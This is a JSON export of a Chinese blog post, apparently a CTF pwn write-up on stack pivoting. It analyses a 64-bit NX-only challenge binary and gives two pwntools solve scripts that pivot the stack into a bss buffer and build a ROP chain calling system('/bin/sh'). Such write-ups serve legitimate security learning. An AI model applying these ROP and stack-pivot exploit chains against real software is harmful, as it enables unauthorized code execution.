{"id":1925,"date":"2023-11-19T10:23:12","date_gmt":"2023-11-19T02:23:12","guid":{"rendered":"https:\/\/www.zhiwanyuzhou.com\/?p=1925"},"modified":"2023-11-19T10:23:13","modified_gmt":"2023-11-19T02:23:13","slug":"ctf-pwn%e6%8a%80%e5%b7%a7%e4%b9%8bstack-pivoting","status":"publish","type":"post","link":"https:\/\/www.zhiwanyuzhou.com\/index.php\/2023\/11\/19\/ctf-pwn%e6%8a%80%e5%b7%a7%e4%b9%8bstack-pivoting\/","title":{"rendered":"CTF-Pwn\u6280\u5de7\u4e4bstack pivoting"},"content":{"rendered":"\n<h2>\u4e00\u3001\u5f15\u8a00<\/h2>\n\n\n\n<p>\u6700\u8fd1\u5728\u5b66\u4e60CTF\u7684\u4e00\u4e9b\u6280\u5de7\uff0c\u5176\u4e2d\u7528\u5230\u4e86stack pivoting\uff08\u6808\u8fc1\u79fb\uff09\uff0c\u8fd9\u91cc\u505a\u4e2a\u7b14\u8bb0\u3002<\/p>\n\n\n\n<p>\u6808\u8fc1\u79fb\u5229\u7528\u7684\u6761\u4ef6<\/p>\n\n\n\n<ul>\n<li>ebp\/rsp\u53ef\u63a7<\/li>\n\n\n\n<li>\u6709\u4e00\u5927\u6bb5\u7a7a\u95f4\u53ef\u63a7<\/li>\n<\/ul>\n\n\n\n<h2>\u4e8c\u3001\u9898\u76ee\u5206\u6790<\/h2>\n\n\n\n<p><a rel=\"noreferrer noopener\" href=\"https:\/\/www.zhiwanyuzhou.com\/download\/Archive\/stackpivoting\/stackpivoting.7z\" data-type=\"URL\" data-id=\"https:\/\/www.zhiwanyuzhou.com\/download\/Archive\/stackpivoting\/stackpivoting.7z\" target=\"_blank\">\u9898\u76ee\u94fe\u63a5<\/a><\/p>\n\n\n\n<p>\u9996\u5148\u6211\u4eec\u67e5\u770b\u7a0b\u5e8f\u4fdd\u62a4\u60c5\u51b5\uff0c64\u4f4d\u7a0b\u5e8f\uff0c\u4ec5\u5f00\u542f\u4e86NX\uff0c\u90a3\u4e48\u4e0d\u80fd\u4f7f\u7528shellcode\uff0c\u53ef\u4ee5\u4f7f\u7528ret2text\u3001ret2libc\u7b49\u5229\u7528\u65b9\u6cd5\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"344\" height=\"110\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-3.png\" alt=\"\" class=\"wp-image-1929\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-3.png?v=1700201061 344w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-3-300x96.png?v=1700201061 300w\" sizes=\"(max-width: 344px) 100vw, 344px\" \/><\/figure>\n\n\n\n<p>\u4f7f\u7528Ghidra\u53cd\u7f16\u8bd1\u8f6f\u4ef6\u6253\u5f00\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u770b\u5230\u7a0b\u5e8f\u7684\u6f0f\u6d1e\u70b9\u5728\u672b\u5c3e\u7684read\u51fd\u6570\uff0clocal_28\u5982\u679c\u6ea2\u51fa\u4f1a\u8986\u76d6\u8fd4\u56de\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"865\" height=\"498\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image.png\" alt=\"\" class=\"wp-image-1926\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image.png?v=1700200444 865w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-300x173.png?v=1700200444 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-768x442.png?v=1700200444 768w\" sizes=\"(max-width: 865px) 100vw, 865px\" \/><\/figure>\n\n\n\n<p>\u6211\u4eec\u4ed4\u7ec6\u89c2\u5bdf\uff0c\u5728main\u51fd\u6570\u4e2d\u95f4\uff0c\u8fd8\u6709\u4e00\u4e2aread\uff0c\u8bfb\u53d6\u7684\u5185\u5bb9\u5b58\u50a8\u5728bssBuf\u4e2d\uff0c\u6700\u59270x100\u5b57\u8282\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"865\" height=\"456\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-1.png\" alt=\"\" class=\"wp-image-1927\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-1.png?v=1700200728 865w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-1-300x158.png?v=1700200728 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-1-768x405.png?v=1700200728 768w\" sizes=\"(max-width: 865px) 100vw, 865px\" \/><\/figure>\n\n\n\n<p>\u4ed4\u7ec6\u67e5\u770b\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u627e\u5230system\u51fd\u6570\u7684\u8c03\u7528\uff0c\u53ef\u60dc\u6267\u884c\u7684\u5185\u5bb9\u4e0d\u662f\u201c\/bin\/sh\u201d\uff0c\u800c\u662f\u6253\u5370\u4e00\u6bb5\u5b57\u7b26\u4e32\u201chello?\u201d\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"865\" height=\"341\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-2.png\" alt=\"\" class=\"wp-image-1928\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-2.png?v=1700200750 865w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-2-300x118.png?v=1700200750 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-2-768x303.png?v=1700200750 768w\" sizes=\"(max-width: 865px) 100vw, 865px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u6837\uff0c\u6211\u4eec\u5f97\u81ea\u5df1\u6784\u5efasystem(\"\/bin\/sh\")\uff0c\u9996\u5148\u4f7f\u7528RopGadget\u5bfb\u627egadget<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"682\" height=\"281\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-4.png\" alt=\"\" class=\"wp-image-1930\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-4.png?v=1700202683 682w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-4-300x124.png?v=1700202683 300w\" sizes=\"(max-width: 682px) 100vw, 682px\" \/><\/figure>\n\n\n\n<p>\u4e0b\u9762\u6211\u4eec\u6765\u5206\u6790\u4e00\u4e0b\uff0c\u6b63\u5e38\u7684\u60c5\u51b5\u5c31\u5982\u56fe\u4e2d\u95f4\u7684\u65b9\u5f0f\u5229\u7528\uff0c\u53ef\u662fread\u53ea\u8bfb\u53d6\u4e860x30\u5b57\u8282\u6570\u636e\uff0c\u540e\u9762\u7684\u5185\u5bb9\u90fd\u6ca1\u6709\u8986\u76d6\u5230\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"873\" height=\"294\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-7.png\" alt=\"\" class=\"wp-image-1933\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-7.png?v=1700205002 873w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-7-300x101.png?v=1700205002 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-7-768x259.png?v=1700205002 768w\" sizes=\"(max-width: 873px) 100vw, 873px\" \/><\/figure>\n\n\n\n<h2>\u4e09\u3001\u89e3\u9898<\/h2>\n\n\n\n<p>\u4f7f\u7528\u6808\u8fc1\u79fb\u6cd5\uff0c\u7531\u4e8eRBP\u53ef\u63a7\uff0cbssbuf\u53ef\u63a7\uff0c\u90a3\u4e48\u53ef\u4ee5\u5c06bssbuf\u5f53\u4f5c\u65b0\u7684\u6808\uff0c\u5728\u6808\u4e0a\u6784\u5efaROP\u94fe\uff0c\u4e0d\u8fc7\u8fd8\u8981\u6ce8\u610f\u7684\u662f64\u4f4d\u7a0b\u5e8f\u8981\u6c42\u6808\u5bf9\u9f50\uff0c\u5373\u672b\u5c3e\u4e3a0\u6216\u80058\u624d\u884c\u3002<\/p>\n\n\n\n<h4>1\u3001\u65b9\u6cd5\u4e00\uff1a\u63d2\u5165ret\u6cd5<\/h4>\n\n\n\n<p>\uff081\uff09\u4f7f\u4e0a\u4e00\u4e2a\u51fd\u6570\u7684rbp=bssbuf+8\uff0c\u7136\u540emain\u51fd\u6570\u672b\u5c3eret\u4e4b\u540e\uff0crsp=bssbuf+8\uff0crsp\u5c3e\u90e8\u5c31\u4e3a8\u4e86\uff1b<\/p>\n\n\n\n<p>\uff082\uff09\u5728pop rdi; ret\u4e4b\u524d\u63d2\u5165\u4e00\u4e2aret\uff0c\u6267\u884cret\u540e\uff0c\u5c31\u80fd\u4f7frsp=bssbuf+8+8\uff0crsp\u5c3e\u90e8\u4e3a0\uff0c\u5c31\u5bf9\u9f50\u4e86\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"331\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-12-1024x331.png?v=1700207961\" alt=\"\" class=\"wp-image-1939\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-12-1024x331.png?v=1700207961 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-12-300x97.png?v=1700207961 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-12-768x248.png?v=1700207961 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-12.png?v=1700207961 1321w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u89e3\u9898\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>from pwn import*\n\np = process(\".\/stackpivoting\")\n\ngadget1     = 0x40127C  # leave; ret\ngadget2     = 0x40101a  # ret\ngadget3     = 0x4012e3  # pop rdi ; ret\nbinsh_addr  = 0x4033F8  # \"\/bin\/sh\"\nsystem_addr = 0x401080  # system .plt\nbssbuf_addr = 0x405440  # bssbuf\n\npayload  = \"A\" * 0x8\npayload += p64(gadget2)\npayload += p64(gadget3)\npayload += p64(binsh_addr)\npayload += p64(system_addr)\n\np.recvuntil(\"Pls input your ropchain\")\np.send(payload)\n\np.recvuntil(\"Pls input your stack pivoting chain\")\npayload  = \"A\" * 0x20\npayload += p64(bssbuf_addr) # rbp\npayload += p64(gadget1)\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<h4>2\u3001\u65b9\u6cd5\u4e8c\uff1a\u6307\u5b9a\u5730\u5740\u6cd5<\/h4>\n\n\n\n<p>\u4f7f\u4e0a\u4e00\u4e2a\u51fd\u6570\u7684rbp=bssbuf+8\uff0c\u7136\u540emain\u51fd\u6570\u672b\u5c3eret\u4e4b\u540e\uff0crsp=bssbuf+8+8\uff0crsp\u5c3e\u90e8\u4e3a0\uff0c\u5c31\u5bf9\u9f50\u4e86\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"1012\" height=\"402\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-14.png\" alt=\"\" class=\"wp-image-1943\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-14.png?v=1700209197 1012w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-14-300x119.png?v=1700209197 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2023\/11\/image-14-768x305.png?v=1700209197 768w\" sizes=\"(max-width: 1012px) 100vw, 1012px\" \/><\/figure>\n\n\n\n<p>\u89e3\u9898\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>from pwn import*\n\np = process(\".\/stackpivoting\")\n\ngadget1       = 0x40127C  # leave; ret\ngadget2       = 0x4012e3  # pop rdi ; ret\nbinsh_addr    = 0x4033F8  # \"\/bin\/sh\"\nsystem_addr   = 0x401080  # system .plt\nbssbuf_8_addr = 0x405448  # bssbuf+8\n\npayload  = \"A\" * 0x8\npayload += \"B\" * 0x8\npayload += p64(gadget2)\npayload += p64(binsh_addr)\npayload += p64(system_addr)\n\np.recvuntil(\"Pls input your ropchain\")\np.send(payload)\n\np.recvuntil(\"Pls input your stack pivoting chain\")\npayload  = \"A\" * 0x20\npayload += <mark style=\"background-color:rgba(0, 0, 0, 0);color:#f9de11\" class=\"has-inline-color\">p64(bssbuf_8_addr) # rbp<\/mark>\npayload += p64(gadget1)\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<h2>\u56db\u3001\u53c2\u8003\u6587\u6863<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.cnblogs.com\/ZIKH26\/articles\/15996874.html\">https:\/\/www.cnblogs.com\/ZIKH26\/articles\/15996874.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u5f15\u8a00 \u6700\u8fd1\u5728\u5b66\u4e60CTF\u7684\u4e00\u4e9b\u6280\u5de7\uff0c\u5176\u4e2d\u7528\u5230\u4e86stack pivoting\uff08\u6808\u8fc1\u79fb\uff09\uff0c\u8fd9\u91cc\u505a\u4e2a\u7b14\u8bb0\u3002 \u6808\u8fc1\u79fb\u5229\u7528\u7684\u6761\u4ef6 \u4e8c\u3001\u9898\u76ee\u5206\u6790 \u9898\u76ee\u94fe\u63a5 \u9996\u5148\u6211\u4eec\u67e5\u770b\u7a0b\u5e8f\u4fdd\u62a4\u60c5\u51b5\uff0c64\u4f4d\u7a0b\u5e8f\uff0c\u4ec5\u5f00\u542f\u4e86NX\uff0c\u90a3\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[23],"tags":[],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":5}},"_links":{"self":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1925"}],"collection":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/comments?post=1925"}],"version-history":[{"count":7,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1925\/revisions"}],"predecessor-version":[{"id":1947,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1925\/revisions\/1947"}],"wp:attachment":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/media?parent=1925"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/categories?post=1925"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/tags?post=1925"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}